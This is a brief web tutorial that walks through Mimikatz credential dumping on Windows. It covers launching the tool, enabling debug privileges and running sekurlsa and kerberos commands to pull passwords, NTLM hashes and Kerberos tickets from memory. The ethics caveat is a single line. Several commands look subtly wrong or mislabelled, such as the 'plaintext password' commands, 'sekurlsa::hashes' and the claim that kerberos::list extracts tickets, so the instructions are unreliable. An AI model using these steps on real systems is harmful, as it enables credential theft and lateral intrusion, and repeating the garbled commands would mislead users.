How to use Mimikatz for credential dumping

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How to Use Mimikatz for Credential Dumping

Mimikatz is a powerful tool used in the field of cybersecurity for credential dumping. It allows users to extract plaintext passwords, hashes, PIN codes, and Kerberos tickets from memory. In this article, we will explore how to use Mimikatz effectively for credential dumping.

Prerequisites

Before diving into Mimikatz, ensure you have the following:

1. **Windows Operating System**: Mimikatz is primarily designed for Windows environments.
2. **Administrative Privileges**: You need to run Mimikatz with administrative rights to access the necessary memory areas.
3. **Mimikatz Executable**: Download the latest version of Mimikatz from the [official GitHub repository](https://github.com/gentilkiwi/mimikatz).

Step-by-Step Guide

1. Launch Mimikatz

- Open Command Prompt as an administrator.
- Navigate to the directory where Mimikatz is located.
- Run the command:
```
mimikatz.exe
```

2. Enable Debug Privileges

To allow Mimikatz to access sensitive information, you need to enable debug privileges. Use the following command:
```
privilege::debug
```

3. Dump Credentials

Now, you can proceed to dump credentials. There are several commands you can use:

- **To dump plaintext passwords**:
```
sekurlsa::minidump <path_to_dmp_file>
sekurlsa::process <process_name>
```

- **To extract credentials from LSASS**:
```
sekurlsa::logonpasswords
```

- **To dump NTLM hashes**:
```
sekurlsa::hashes
```

4. Extract Kerberos Tickets

If you want to extract Kerberos tickets, use:
```
kerberos::list
```

Important Notes

- Always ensure you have permission to perform these actions on the target system.
- Use Mimikatz responsibly and ethically.

Conclusion

Mimikatz is an invaluable tool for cybersecurity professionals and ethical hackers. By following the steps outlined above, you can effectively use Mimikatz for credential dumping. For more information and advanced techniques, check out the [Mimikatz documentation](https://github.com/gentilkiwi/mimikatz/wiki).

Stay safe and happy hacking!
 
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